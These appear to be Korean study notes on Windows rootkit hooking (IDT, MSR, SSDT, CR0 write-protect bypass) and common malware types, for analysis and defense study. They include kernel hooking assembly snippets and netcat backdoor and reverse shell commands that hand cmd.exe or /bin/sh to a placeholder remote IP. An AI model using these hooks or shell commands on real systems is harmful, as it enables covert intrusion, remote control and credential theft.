아래 그림을 보면 메시지 후킹이 어떤 지점에서 이루어지는지 나타낸 것이다. 사용자가 어떠한 행위를 했을 때 이벤트가 발생되고, 이벤트 발생으로 인해 OS에서 응용프로그램으로 보낼 메시지들이 OS Message Queue에 존재하고 있다. 예를 들어 키보드 입력 이벤트가 발생하면 WM_KEYDOWN 메시지가 OS Message Queue에 추가된다. 운영체제는 해당 이벤트가 어느 응용프로그램에서 발생했는지 파악한 다음, 큐에서 메시지를 꺼내어 해당 응용프로그램의 메시지 큐에 전달한다. 해당 응용프로그램은 자신의 Application Message Queue에 WM_KEYDOWN 메시지가 추가된 것을 확인하고 해당 이벤트 핸들러를 호출한다. 이러한 방식으로 윈도우는 메시지를 전달한다.

그림 15. 메시지 전달 방식

재미있는 사실은 윈도우 운영체제에서 이러한 메시지 훅기능을 기본적으로 제공한다는 것이다. 바로 SetWindowsHookEx API가 그 주인공으로 훅 체인에 응용프로그램이 정의한 후크 프로시저를 설치하며 이를 통해 사용자는 특정 유형의 이벤트를 모니터링 할 수 있다.

HHOOK WINAPI SetWindowsHookEx(

_In_ int idHook // 훅 종류

_In_ HOOKPROC lpfn, // 지정한 이벤트 발생시 처리하는 프로시저 주소

_In_ HINSTANCE hMod, // lpfn이 있는 DLL의 핸들

_In_ DWORD dwThreadId

); 

그림 16. SetWindowsHookEx API

만약 해당 API를 구현하는 HookKey.dll이 존재하며 이를 실행하기 위한 HookMain.exe를 제작하였다고 가정하자. HookMain.exe를 실행하면 HookKey.dll이 해당 프로세스에 로드되며 SetWindowsHookEx()가 호출된다. 이렇게 메시지 후킹이 걸린 상태에서, 다른 프로세스가 해당 이벤트를 발생시킨다면 HookKey.dll은 그 프로세스에서도 로딩이 된다.

그림 17. DLL Injection

위 그림과 같이 나타낼 수 있으며, 다시 말해 후킹 된 이벤트가 발생하는 모든 프로세스에 DLL 인젝션이 일어나는 것이다. 이러한 방식을 통해 메시지를 후킹할 수 있으며, 이는 DLL 인젝션의 한 방법으로 사용할 수 있다.

 

 

System Call

Windows 운영체제는 사용자 모드와 커널 모드라는 두 가지 형태의 권한이 존재하고 있다. 굳이 하나가 아닌 두 가지로 분류되는 것은 모든 프로세스가 하나의 권한으로만 동작할 경우, 각 프로세스는 하드웨어나 프로세스에 직접 접근할 수 있게 된다. 이는 어떠한 프로세스라도 운영체제의 핵심 기능을 조작할 수 있게 되는 것이므로 보안에 있어 매우 취약하게 된다. 이러한 요소를 방지하기 위해 두 개의 영역으로 분류되었고, 당연히 사용자 모드에 존재하고 있는 프로세스는 커널 영역에 접근할 수가 없다.


하지만 커널 영역에 접근할 수 없다는 것은 해당 프로세스가 디스크의 내용을 읽을 수가 없게 되고, 그 외에도 많은 작업들에 제한이 생긴다. 따라서 이러한 불편함을 보완하기 위해 "사용자 모드의 프로세스가 커널 영역에 접근할 수 있는 방법을 만들자."라는 의도에 부합되는 것이 바로 시스템 호출(System Call)이다. 즉, Windows는 커널에 대한 직접적인 접근을 제한하는 대신 사용자 영역에서 API를 호출하면 NTDLL.DLL을 거쳐 커널 모드로 진입하게 된다.

시스템 콜은 크게 2가지 방법으로 진행될 수 있는데, 바로 "INT 0x2E"와 "SYSENTER"이다. INT 0x2E의 경우 소프트웨어 인터럽트로 Windows XP 이전에는 이를 통해 시스템 콜을 진행하였다면, XP부터는 SYSENTER를 통해 시스템 콜을 진행하였다. 이 둘의 차이점이 몇 가지 존재하고 있지만 가장 큰 차이점은 바로, SYSENTER는 수행 시간에 따른 부하가 적다는 것이다. 또한 각 명령어가 호출된 후 과정에 차이가 있는데 이는 아래의 그림에서와 같이 SYSENTER 명령어가 진행될 경우 KiFastCallEntry()를 호출한 후, 이를 통해 다시 KiSystemService()를 호출한다. 이에 반해 INT 0x2E의 경우 KiFastCallEntry()를 거치지 않고 바로 호출된다는 것이다.


INT 0x2E나 SYSENTER 명령어의 경우 우리가 직접 확인할 수도 있다. 흔히 자주 접할 수 있는 OllyDBG와 같은 유저 모드 디버거를 통해 특정한 함수를 호출하는 부분을 계속 따라가다 보면 ntdll.dll의 함수를 볼 수가 있다. 그리고 이러한 함수를 계속 트레이싱하다 보면 INT 0x2E나 SYSENTER 명령어를 확인할 수 있다. 단, 유저 모드 디버거이기 때문에 해당 명령어가 수행되는 자세한 과정은 확인할 수가 없으므로 이를 확인하기 위해선 WinDBG와 같은 커널 디버거를 이용해야 한다. 진입하는 과정은 아래의 그림과 같다.

CALL EDX를 통해 지정된 주소를 호출하게 되는데, 해당 부분은 아래의 그림과 같다. 여기서 FS:[0x30]은 TEB의 0x30번째에 있는 값을 나타낸다. 이는 PEB를 나타내는 것으로 이러한 방법을 통해 PEB에 접근할 수가 있다. 그리고 PEB의 0x464번째 바이트 값을 통해 해당 값이 2인지 비교한 다음 만약 2라면 INT 0x2E를 통해 커널 모드에 진입하게 된다.

만약 해당 값이 2가 아니라면 JMP 명령어를 통해서 KiFastSystemCall 부분으로 넘어오게 되는데, 해당 함수의 부분은 SYSENTER 명령어를 통해 KiFastCallEntry로 이동하게 된다.

이렇게 커널 모드에 접근하는 과정을 확인할 수가 있었다. 그렇다면 어떻게 다시 사용자 영역으로 복귀할까? 이 역시 두 명령어가 차이를 보인다. SYSENTER 명령어의 경우 커널 영역에서 "SYSEXIT" 명령어를 통해 사용자 영역으로 돌아오게 되며, INT 0x2E의 경우 "IRET" 명령어를 통해 원래의 코드로 복귀가 가능하다.


IDT Hooking

IDT는 256개의 Enyrt로 이루어진 배열이며 엔트리 하나당 하나의 인터럽트에 대응되며 이러한 각 인터럽트는 IDT로부터 처리할 함수의 주소(ISR)를 전달받는다. 다시 말해, IDT에서는 각 인터럽트를 처리할 함수의 주소를 갖고 있다. 인터럽트 테이블의 메모리 주소를 얻으려면 IDTR 레지스터 값을 읽어야 하는데 이는 "sidt" 명령을 통해 알 수가 있으며, 반대로 'lidt' 명령을 통해 IDTR 레지스터의 값을 변경할 수 있다. sidt 명령에 의해 반환되는 idt 데이터 구조는 아래와 같다.

typedef struct
{
    unsigned short IDTLimit;
    unsigned short LowIDTbase;
    unsigned short HiIDTbase;
}

IDT의 주소는 위 구조체에서 확인할 수 있듯이, 하위 주소와 상위 주소가 나누어져 있다. 이를 통해 IDT의 주소를 확인할 수가 있는데, 그렇다면 IDT에는 어떠한 내용이 포함되어 있는지 아래의 그림을 보자. 크게 중요한 내용은 바로 위 시스템 콜에서 볼 수 있었던 0x2E와 키보드 인터럽트인 0x93이 존재하고 있다. 0x93의 경우 키보드 메시지 후킹과 관련된 내용이므로 자세히 다루지 않고 0x2E를 위주로 살펴보자.


INT 0x2E


응용 프로그램이 운영체제가 제공하는 API를 호출하면 NTDLL.DLL은 EAX 레지스터에 해당 시스템 함수의 번호를 로드하고 EDX 레지스터에는 그 시스템 함수로 전달되는 인자가 저장된 사용자 영역의 스택 주소를 로드한다. 그리고 INT 0x2E 명령을 수행하여 인터럽트를 발생시킨다. 이 인터럽트에 의해 유저 모드에서 커널 모드로 전환된다. 따라서 INT 0x2E 명령을 수행하여 인터럽트가 발생한 다음, IDT로부터 ISR의 주소를 얻어 실행하고자 할 때 바로 ISR의 주소를 바꾸어 IDT를 후킹 할 수가 있는 것이다. 이를 표현하면 아래와 같다.

IDT를 후킹 하는 데 있어 동작하고 있는 중 그 값이 변경되면 오류를 일으킬 수 있기 때문에 'cli' 명령을 통해 인터럽트 처리를 정지시킨 후, 해당 값이나 주소를 변경해야 한다. 모든 수정이 완료된 이후에는 다시 인터럽트 처리를 활성화시켜야 하기 때문에 'sti' 명령을 사용하여야만 한다. 이를 위한 코드는 아래와 같다.

_asm {
     sidt idt_info;
}

idt_entries = (*IDTENTRY) MAKELONG (idt_info.LowIDTbase, idt_info.HiIDTbase);
int2e_entry = &(idt_entries[0x2E])    //IDT에서 0x2E번째 엔트리 주소

_asm {
     cli;                                                                // 인터럽트 Disable
     lea eax, HookKiSystemService;             // EAX에 후킹 함수의 주소를 저장
     mov ebx, int2e_entry;                             // IDT에서 0x2E번째 엔트리의 주소 전달
     mov [ebx], ax;                                            // 후킹 함수 하위 16비트 주소를 IDT엔트리에 기록
     shr eax, 16;                                                 
     mov [ebx+6], ax;                                        // 후킹 함수 상위 16비트 주소 또한 기록
     sti;                                                                // 인터럽트 Enable
}


MSR Hooking

그렇다면 SYSENTER의 경우는 어떻게 될까? 윈도우 XP 이상에서는 INT 0x2E가 아닌 SYSENTER를 사용하는데, 시스템 콜이 요청되면 NTDLL은 EAX에 해당 시스템 콜의 번호를 로드하고 EDX 레지스터에서는 포인터 레지스터인 ESP를 로드한다. 그다음 NTDLL은 SYSENTER 명령을 실행한다. SYSENTER 명령이 실행되면 커널 영역에 들어가게 된다. 이때 그냥 커널로 들어가는 것이 아니라 실행되어질 커널의 주소인 MSR 0x176 레지스터(KiFastCallEntry) 내부에 있는 값으로 이동하게 된다. 그 후 KiFastCallEntry는 EAX에 저장되어 있는 시스템 콜 번호를 가지고 SSDT에서 Nt함수 주소로 가져오고 해당 함수를 호출한다. SSDT에 대해선 뒤에서 더 자세히 알아볼 것이다.

위 그림과 같이 나타낼 수 있으며, 바로 MSR 0x176의 값을 변경하므로 이를 수정하는 것이다. 이를 변경하기 위해서는 rdmsr 명령어와 wrmsr 명령어를 사용하여 msr의 값을 읽고 조작하여야 한다. 이를 위한 코드는 아래와 같다.

_asm {
    mov ecx, 0x176            // MSR 0x176 지정
    rdmsr                             // 어떠한 주소가 있지 읽음
    mov  OrigFunc, eax    // 기존에 있던 값을 저장
    mov eax, HookFunc  
    wrmsr                            // MSR 0x176에 HookFunc의 주소를 기록함
}

이렇게 후킹 작업을 완료한 다음, SYSENTER 명령으로 인해 MSR 0x176에 존재하고 있는 KiFastCallEntry의 주소가 아닌 훅 함수의 주소가 호출되므로 인해 KiFastCallEntry가 아닌 HookFunc()이 먼저 호출된 다음 KiFastCallEntry가 호출된다. 실제로 이러한 후킹 작업이 성공적으로 이루어졌다면 훅 함수에서는 EAX 레지스터에 있는 값을 통해 어떠한 시스템 콜을 요청했는지 확인할 수가 있다. 이는 다시 말해 특정한 시스템 콜을 지정하여 해당 시스템 콜은 거부되도록 할 수 있다.


단, 시스템 콜은 빈번하게 이루어지는 작업이기 때문에 과도한 조건문을 걸어놓는 것은 시스템의 성능을 크게 하락시키므로 사용자가 속도의 변화를 체감할 수도 있다. 따라서 빈번하게 호출되는 만큼 최적화된 내용만을 후킹 함수에 넣어야 한다.


SSDT Hooking

시스템 서비스 디스패치 테이블은 시스템 콜을 처리하기 위한 함수를 찾을 때 사용된다. 위에서 프로그램이 시스템 콜을 호출하는 두 가지 방법(INT 0x2E, SYSENTER)에 대하여 알아보았다. 이 두 명령어를 통해 결국 KiSystemService 함수(시스템 서비스 디스패처)를 호출하게 되는데, 이 함수는 EAX 레지스터에서 시스템 콜 번호를 읽어 SSDT에서 해당 시스템 콜의 루틴을 찾는다. 


또한 KiSystemService는 시스템 콜의 인자를 유저 모드 스택에서 커널 모드 스택으로 복사하는데, 이때 EDX 레지스터가 시스템 콜에 사용할 인자를 가리키고 있다(몇몇 루트킷은 이런 시스템 콜 처리 과정에서 시스템 콜의 인자를 변경하거나 시스템 콜의 수행 루틴을 변경시키기도 한다). 시스템 콜 번호에 맞게 KeServiceDescriptorTable을 참조하여 Native API를 호출한다. 그 후 시스템 콜을 종료하고 각각 IRET나 SYSEXIT 명령어를 사용하여 유저 모드로 복귀한다. 아래의 그림은 이를 종합적으로 표현한 내용이다.

결국 SSDT에서 서비스 호출 번호에 맞는 주소를 얻은 다음 이를 호출하는 형태로 진행되는 것이다. 그렇다면 SSDT Hooking은 어느 부분에서 후킹 해야 하는 것일까? 바로 GetFuncAddress 과정에서 인덱스 번호에 맞는 함수의 주소를 SSDT에서 가지고 올 때이다. 예를 들어, 0xAD 서비스 함수(EAX=0xAD) 시스템 콜이 발생하면 SSDT에서 0xAD번째에 위치한 함수의 주소를 가지고 오게 된다. 그리고 해당 함수를 호출하므로 진행되는 방식인데, 만약 SSDT를 변조하므로 0xAD번째에 위치한 함수의 주소를 HookFunc의 주소로 대체하면 해당 시스템 콜이 발생할 때마다 HookFunc가 호출된다.

위 예를 좀 더 구체적으로 제시하자면 0xAD 시스템 콜의 루틴이 SSDT에서 0xCCCCCCCC로 존재하고 있는 상황에 이 주소를 Hook함수의 주소인 0xDDDDDDDD로 대체하게 되면 0xAD 시스템 콜이 발생할 때마다 0xDDDDDDDD의 함수가 호출되게 된다. 대개 이러한 후킹 함수는 정상적인 루틴 0xCCCCCCCC를 조작하는데, 어떠한 인자가 오느냐에 따라 이를 진행하지 않거나 원래 함수의 결과가 특정 값일 경우 이를 변조하여 반환하는 등의 조작을 가할 수가 있다.


하지만 SSDT는 Read Only로 설정되어 있기 때문에 SSDT Hooking을 진행하기 위해서는 쓰기 권한이 필요하다. 이를 우회하기 위한 방법 중 하나인 CR0 Register에 대하여 알아보자. CR0 레지스터는 WP(Write Protect) Bit를 포함하고 있는데 이 값이 0 이면 메모리 보호 기능이 해제되고 1 이면 메모리 보호가 활성화된다. 따라서 메모리 보호 기능을 비활성화하므로 쓰기 권한을 얻을 수가 있다. 해당 코드는 다음과 같다.

__asm {    // 메모리 보호 기능 비활성화
    push eax
    mov eax, CR0
    and eax, 0xFFFEFFFF
    mov CR0, eax
    pop eax}

__asm {    // 메모리 보호 기능 활성화
    push eax
    mov eax, CR0
    or eax, NOT 0xFFFEFFFF
    mov CR0, eax
    pop eax}

이러한 후킹은 목적은 대개 흔적을 남기지 않는 것이 중요하므로, SSDT를 후킹 한 다음에는 다시 CR0를 조작하여 메모리 보호 기능을 활성화해주어야 한다. 이는 비활성화와는 반대로 or eax, NOT 0xFFFEFFFF 연산을 해주어야 한다. 이제 SSDT에 값을 기록할 수 있으므로 어떻게 변조할 것인가에 대하여 알아보자. SSDT Hooking에는 유용하게 사용되는 몇 가지 매크로가 존재한다. 


"SYSTEMSERVICE" 매크로는 ntoskrnl.exe에서 제공하는 Zw* 함수의 주소를 입력받아 그에 상응하는 Nt* 함수의 주소를 SSDT에서 구할 때 사용한다. "SYSCALL_INDEX" 매크로는 Zw* 함수의 주소를 입력받아서 SSDT에서 해당 함수의 인덱스 번호를 구하는 데 사용할 수 있다. 이렇게 "SYSTEMSERVICE"와 "SYSCALL_INDEX" 매크로가 해당 함수의 시작 부분(_func)에 +1을 하는 이유는 opcode에 따라 [mov eax, 인덱스 값] 이므로 해당 인덱스 값은 함수의 시작점에서 mov eax의 opcode 값 다음에 오므로 +1을 더해 해당 값을 알 수 있기 때문이다. 이 두 매크로를 통해 각각 Nt* 함수의 주소와 인덱스 번호를 구할 수가 있다.

#define SYSTEMSERVICE(_func)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)                                                                                                              ((PUCHAR)_func+1)]
#define SYSCALL_INDEX (_func) *(PULONG) ((PUCHAR) _func+1)


HOOK_SYSCALL과 UNHOOK_SYSCALL 매크로는 후킹을 수행할 Zw* 함수의 주소와 SSDT에서의 인덱스, 그리고 새로운 HookFunc 함수의 주소를 이용해 SSDT 안에서의 주소를 변경해준다. 밑의 코드 중에서 "InterlockedExchange"가 있는데 이는 두 개의 인자 값이 일치하지 않을 경우 첫 번째 인자가 지정하는 메모리의 값을 두 번째 인자로 바꾸는 함수이다.

#define HOOK_SYSCALL (_func, _Hook, _Orig)\
               _Orig=(PVOID) InterlockedExchange((PLONG)\                &MappedSystemCallTable[SYSCALL_INDEX(_func)],(LONG) _Hook)
#define UNHOOK_SYSCALL(_func, _Hook, _Orig)\
               InterlockedExchange((PLONG)\
               &MappedSystemCallTable[SYSCALL_INDEX(_func)], (LONG) _Orig)

이러한 과정을 통해 SSDT에 존재하고 있는 서비스 루틴을 훅 함수로 대체할 수가 있고, 다시 원래대로 되돌릴 수가 있다. 


Reference


http://luckyyowu.tistory.com/133

http://hackerspace.tistory.com/entry/시스템-호출-처리순서

http://bbolmin.tistory.com/158

http://luckey.tistory.com/86

http://securityfactory.tistory.com/158

https://en.wikipedia.org/wiki/Interrupt_descriptor_table

http://blog.naver.com/wwwkasa/80167132015

http://ezbeat.tistory.com/279

SSDT(System Service Descriptor Table) Hooking.pdf - Written by 백구

Downloaders and Launchers


흔히 만날 수 있는 악성코드의 두 가지 유형은 다운로더와 실행기이다. 다운로더는 단순히 인터넷에서 악성코드의 다른 일부를 다운로드한 후 로컬 시스템에서 실행한다. 다운로더는 종종 exploit과 함께 세트를 이룬다. 다운로더는 일반적으로 새로운 악성코드를 다운로드하고 실행할 수 있는 WinExec 호출에 이어 윈도우 API인 URLDownloadtoFileA를 사용한다.

실행기는 현재 실행이나 추후 실행을 은닉하기 위해 악성코드를 설치하는 특정 실행 파일이다. 실행기는 종종 로딩할 악성코드를 포함한다.


Backdoor


백도어는 공격자가 타겟에 원격 접속할 수 있게 도와주는 악성코드의 한 종류이다. 백도어는 종종 모든 기능을 구현하기도 함으로써 추가적인 악성코드 또는 코드를 다운로드할 필요가 없는 경우도 있다. 가장 일반적으론는 HTTP 프로토콜을 이용해 80번 포트로 통신을 하며 이는 가장 일반적인 네트워크 트래픽으로 악성코드는 자신의 트래픽을 정상적인 트래픽에 숨길 수 있다는 이점을 얻는다.

Windows Reverse Shell

공격자는 cmd.exe를 이용해 윈도우에서 두 가지 간단한 악성코드 코딩방법을 사용한다. 기본적인 방법은 제작하기가 쉽고 멀티스레드 기법만큼 잘 작동 때문에 악성코드 제작자 사이에 인기가 있다. CreateProcess에 대한 호출과 CreateProcess로 전달되는 STARTUPINFO 구조체의 조작이 사용된다. 우선 소켓을 생성한 후 원격 서버에 대한 연결을 수행하며, 해당 소켓은 cmd.exe의 표준 스트림으로 연결된다. CreateProcess는 희생자에게 들키지 않게 윈도우를 숨긴채 cmd.exe를 실행한다.

멀티스레드 버전의 윈도우 리버스 셸은 소켓, 파이프 2개, 스레드 2개를 생성한다. 악성코드 제작자는 종종 이 방법을 이용해 소켓을 통해 주고받는 데이터를 조작하거나 인코딩한다. CreatePipe는 stdin과 stdout 같은 파이프의 끝을 함께 읽고 쓸 수 있게 연결하는데 사용하며 CreateProcess 메소드는 표준 스트림을 직접 소켓에 연결하기보다는 파이프에 연결할 때 사용한다. CreateProcess가 호출된 후 악성코드는 스레드 2개를 생성한다. 일반적으로 이들 스레드는 데이터 인코딩을 통해 데이터를 조작한다.

Netcat Reverse Shell

공격자는 넷캑이나 또는 다른 악성코드에 포함돼 있는 넷켓 패키지를 사용하는 것으로 알려져 있다. 넷캣을 리버스 쉘로 사용할 때는 다음과 같이 원격 머신은 들어오는 접속을 대기해야 한다.     nc -l -p 80   -l 옵션은 넷캣을 리스닝 모드로 설정하고, -p는 리스닝할 포트를 설정할 때 사용한다. 

다음 명령을 이용해 희생자의 머신에서 외부로 접속해 쉘을 전달한다.nc ip 80 -e cmd.exe

Backdoor Shell

<Server> nc -e /bin/sh(or cmd.exe) -l -p 1234         <Client>  telnet IP_Address 1234

이 경우 Client의 입장에서 Server측의 cmd를 컨트롤할 수가 있다. 그러므로 타겟pc를 Server와 같이 설정하여 실행하면 Target PC를 컨트롤 할 수 있다. 또한 한가지 더 생각하면 서버측에서는 IP에 대한 입력이 필요가 없으므로 서버측의 IP만 알면 어느 PC에서든지 이에 접속할 수가 있다. 이

Reverse Shell

<Server> nc -l -p 1234   or nc -n -v -l -p 1234        <Client>  nc -e /bin/sh(or cmd.exe) IP_Address 1234

이 경우 Server의 입장에서 Client의 cmd를 컨트롤할 수가 있다. 그러므로 타겟pc를 Client와 같이 설정하여 실행한다. 공격자가 서버의 입장이므로 타겟 PC는 따로 어떠한 설정 없이 연결이 된다.

*위의 두 상황 모두 명령어 실행이 안될 경우 뒤에 ' ; ' 세미콜론을 붙여야 실행되는 경우도 있다. 그러므로 일반적인 명령어를 실행해보고 작동하지 않는다면 세미콜론을 붙여보자.

RAT

Remote Administration Tool(원격 관리도구)는 원격에 있는 컴퓨터들을 관리할 때 사용한다. RAT는 정보를 훔치거나 정보를 다른 네트워크로 이동시크는 것과 같은 특정 목적을 가진 표적 공격에 사용한다. 

아래의 그림은 RAT의 네트워크 구조에 대하여 설명된 것이다. 서버는 악성코드에 감염된 피해 호스트에서 실행된다. 클라이언트는 공격자가 조종하는 명령 및 통제 유닛으로, 원격에서 실행된다. 서버는 연결을 위해 클라이언트에 신호를 전달하면 클라이언트가 서버를 통제한다. RAT 통신은 일반적으로 80, 443 같은 일반 포트를 통해 이루어진다.

Botnets

봇넷은 좀비로 알려진 침해 호스트의 집합으로, 일반적으로 봇넷 컨트롤러로 알려진 서버를 통해 단일 엔티티에 의해 통제된다. 봇넷의 목표는 추가 악성코드, 스팸을 전파하거나 DDoS 공격을 수행할 수 있는 큰 좀비 네트워크를 구성하기 위해 최대한 많은 호스트를 침해하는 것이다. 봇넷은 동시에 다수의 좀비 호스트가 웹사이트를 요청하게 함으로써 웹사이트를 다운시킬 수 있다.

RAT와 Botnet 비교 

· 봇넷은 다수의 호스트를 감염시키고 통제하는 것으로 알려졌으며, RAT는 일반적으로 더 작은 규모의 호스트를 통제한다.

· 모든 봇넷은 한번에 통제되는데 반해 RAT는 피해 호스트별로 통제된다. 이는 RAT의 경우 공격자가 개별 호스트에 대해 좀 더 많은 관심을 갖고 있기 때문이다.

· RAT는 표적 공격에 사용되는데 반해 봇넷은 대량 공격에 사용된다.


Credential Stealers


공격자는 인증정보를 훔치기 위해 노력을 아끼지 않으며, 이런 종류의 악성코드는 크게 3가지 유형이 있다.
GINA Interception
MS의 GINA( Graphical Identification and Authentication ) Interception은 윈도우 XP에서 악성코드가 사용자 인증정보를 훔치기 위해 사용하는 기법이다. GINA 시스템은 하드웨어 RFID나 스마트카드 같은 인증을 지원함으로써 인증된 서드파티가 로그온 프로세스를 최적화할 수 있게 한다. 멀웨어 코더는 자신들의 인증정보를 탈취기의 로딩을 위해 이 서드파티 지원을 악용한다. 
GINA는 DLL(msgina.dll)로 구현돼 있으며, 로그인 과정에서 Winlogon 실행파일이 GINA를 로딩한다. Winlogon은 Winlogon과 GINA DLL 사이의 서드파티 DLL을 로딩해 DLL에 포함된 서드파티 최적화를 수행한다. 윈도우는 Winlogon에서 로드할 서드파티 DLL을 찾을 수 이게 다음 레지스트리 위치를 편리하게 제공한다.
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GinaDLL"

Hash Dumping

윈도우 해시 덤프는 악성코드가 시스템 인증정보에 접근하기 위해 사용하는 대중적인 방법이다. 해시전달 공격( Pass the hash attack )은 로그인에 필요한 평문 패스워드를 획득하기 위해 해시를 해독하거나 크랙할 필요 없이 LM과 NTLM 해시를 사용해 NTLM 인증을 사용하는 원격 호스트를 인증한다.

pwdump와 Pass-the_Hash(PSH) 툴킷은 해시 덤프를 전송하는데 자유롭게 사용할 수 있는 패키지이다. pwdump는 보안계정관리자(SAM)에서 로컬 사용자 계정의 LM과 NTLM 패스워드 해시를 출력하는 프로그램이다. 표준 pwdump는 lsaext.dll을 사용하며 lsass.exe 내부에서 실행되면 pwdump는 해시추출을 수행하기 위해 lsaext.dll에서 Export된 GetHash를 호출한다. 시스템의 사용자를 열거하고, 각 사용자의 암호화되지 않은 형태의 패스워드 해시를 얻기 위해 비공식적인 윈도우 함수를 사용한다.

여기서 멀웨어 코더들은 이를 변형시켜 GetHash와 같은 Export 이름을 변경할 수가 있다. 그렇기에 Export에서 사용하는 API 함수를 살펴봐야한다. 이 함수 대부분은 동적으로 해석되기 때문에 해시 덤프 익스포트는 빈번하게 GetProcAddress를 호출한다.


Keystroke Logging

키로깅은 인증정보 탈취의 전형적인 유형중 하나이다. 키로깅을하면 공격자가 계정명과 패스워드 같은 타이핑된 데이터를 관찰할 수 있게 악성코드는 키 스트로크를 기록한다.

커널 기반 키로거

커널 기반 키로거는 사용자 모드 애플리케이션을 이용해 탐지하기가 어렵다. 루트킷의 일부로 자주 사용되며, 키 스트로크를 캡처하기 위해 키보드 드라이버처럼 가장하거나 사용자 공간 프로그램과 보호장치를 우회한다.

사용자 공간 키로거

일반적으로 윈도우 API를 이용하며, 대부분 후킹이나 폴링을 이용해 구현한다. 후킹 방식은 입력될 때마다 악성코드에 알리기 위해 윈도우 API(SetWindowsHookEx 함수)를 사용한다. 폴링 방식은 계속적인 키 상태 기록을 위해 윈도우 API( GetAsyncKeyState와 GetForegroundWindows 함수)를 사용한다

후킹 키로거는 후킹 기능을 실행하는 실행 파일로 패키징될 수 있으며, 시스템에서 다수의 프로세스에 매핑해 자동으로 로깅할 수 있는 DLL 파일을 포함할 수도 있다.

폴링 방식의 키로거는 GetAsyncKeyState 함수가 키가 눌려졌는지 여부를 인식한 후 가장 최근의 GetAsyncKeyState 호출 이후 해당 키가 눌렸는지를 인식한다. 그 외에 주로 사용되는 함수인 GetForegroundWindows 함수는 어떤 어플리케이션이 키보드 엔트리를 위해 사용되는지를 키로거에게 알려주기 위해 현재 사용중인 윈도우를 파악한다.


Persistence Mechanisms


악성코드가 한 번 시스템의 권한을 획득하면 악성코드는 해당 시스템에 오랜 기간 상주하길 원한다. 이런 행위를 지속이라고 부른다. 그리고 이러한 지속 메커니즘의 방법으로 시스템의 레지스트리 조작과 바이너리를 트로이목마화 시키는 방법, 마지막으로는 레지스트리나 파일의 조작없이 지속을 유지하는 방법으로 DLL 로더 하이재킹이 있다.

The Windows Registry

악성코드가 설정 정보를 저장하고 시스템의 정보를 수집하고 지속적으로 자신을 설치하기 위해 레지스트리에 접근하는 것이 일반적이다. 이에 자주 사용되는 레지스트리 키가 있는데 다음과 같다.

AutoRun

" HKEY_LOCAL_MACHINE\SOFTWARE\Miicrosoft\Windows\CurrentVersion\Run "

이를 확인하는 방법으로 직접 regedit를 통해 찾거나 cmd를 통하여  cmd> reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /s 와 같이 입력을 하여 확인할 수가 있다.

Applnit_DLLs

악성코드 제작자는 AppInit_DLLs라고 불리는 특별 레지스트리 경로를 통해 자신들의 DLL이 지속적으로 유지되게 할 수 있다. 이 레지스트리는 User32.dll을 로드하는 모든 프로세스에서 로딩하며, 레지스트리에 단순히 추가함으로써 AppInit_Dlls 지속이 가능하게 할 수 있다.

"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"

대부분의 프로세스는 User32.dll을 로드하며, 이 프로세스 대부분이 AppInit_DLLs도 로드한다. 그렇기에 악성코드 제작자는 일반적으로 개별 프로세스를 목표로 설정하여도 다수의 프로세스에서 로드되므로 악성코드의 페이로드를 실행하기 전에 어떤 프로세스가 DLL을 실행하고 있는지를 확인해야 한다. 이런 확인은 악의적인DLL의 DllMain에서 흔히 수행된다.

Winlogon 알림

멀웨어 코더들은 악성코드가 logon, logoff, startup, shutdown, lock screen 같은 특정 Winlogon 이벤트를 후킹하게 할 수 있다. 이를 통해 심지어 보호 모드에서 악성코드가 로드되게 할 수 있다. 해당 레지스트리 엔트리는 다음 레지스트리키의 Notify 값으로 구성돼 있다.

"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify"

winlogon.exe가 이벤트를 생성할 때 윈도우는 해당 이벤트를 처리할 DLL을 Notify 레지스트리 키에서 확인한다.


SvcHost DLL

모든 서비스는 레지스트리에서 유지되고, 레지스트리에서 삭제되면 해당 서비스는 시작되지 않는다. 악성코드는 종종 윈도우 서비스로 설치되지만, 일반적으로는 실행파일을 사용한다. 악성코드 유지를 위해 svchost.exe에 설치하면 독립형과는 달리 프로세스 목록과 레지스트리를 숨길 수 있다.

svchost.exe는 서비스를 위해 DLL로 실행되는 일반 호스트 프로세스이며, 윈도우 시스템에는 한번에 다수의 svchost.exe가 존재한다. svchost.exe 개별 객체는 개발과 테스트, 서비스 그룹 관리를 쉽게 할 수 있는 서비스 그룹을 포함한다. 해당 그룹은 다음 레지스트리 위치에 정의돼 있다.

""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost"


서비스는 레지스트리의 다음 위치에 정의돼 있다.

"HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ServiceName"


윈도우 서비스는 다수의 레지스트리 값을 갖고 있으며, 대다수는 DisplayName과 Description 같은 정보를 포함한다. 악성코드 제작자는 NetWareMan 같이 악성코드를 숨기는데 도움이 되는 값을 설정하기도 한다. 다른 서비스 레지스트리로는 서비스 실행 파일의 위치를 포함하는 ImagePath가 존재한다. svchost.exe DLL는 %Root%\System32\svchost.exe -k GroupName을 담고 있다.

모든 svchost.exe DLL은 ServiceDLL 값을 가진 parameters 키를 가지며, 악성코드 제작자는 악의적인 DLL의 위치를 여기에 설정한다. Parameters 키 아래에 있는 Start 값은 서비스가 언제 시작할지를 결정한다.(악의적인 코드는 일반적으로 시스템이 부팅하는 중에 실행이 되게 설정돼 있다.)

윈도우는 사전 정의된 서비스 그룹을 갖고 있으며, 새로운 그룹을 생성할 경우 쉽게 탐지가 가능하므로 악성코드는 일반적으로 이미 존재하는 그룹에 추가하거나 자주 쓰지않은 서비스를 덮어 쓴다.

Trojanized System Binaries

악성코드를 지속적으로 유지할 수 있는 다른 방법은 시스템 바이너리를 트로이목마화 하는 것이다. 이 기법을 이용해 다음번에 감염된 바이너리가 실행되거나 로드될 때 악성코드가 실행되게 시스템 바이너리의 바이트를 패치한다. 

일반적으로 시스템 바이너리의 엔트리 함수를 패치해 악성코드로 점프하게 조작한다. 악의적인 코드는 실행에 지장이 없게 일부 코드를 덮어 씌우거나 빈 섹션에 추가되므로 삽입된 코드는 일반적으로 악성코드를 로딩하며, 감염된 DLL의 어디에 추가되더라도 정상 동작한다. 해당 코드의 끝에는 정상동작하도록 원래의 코드로 다시 점프한다.

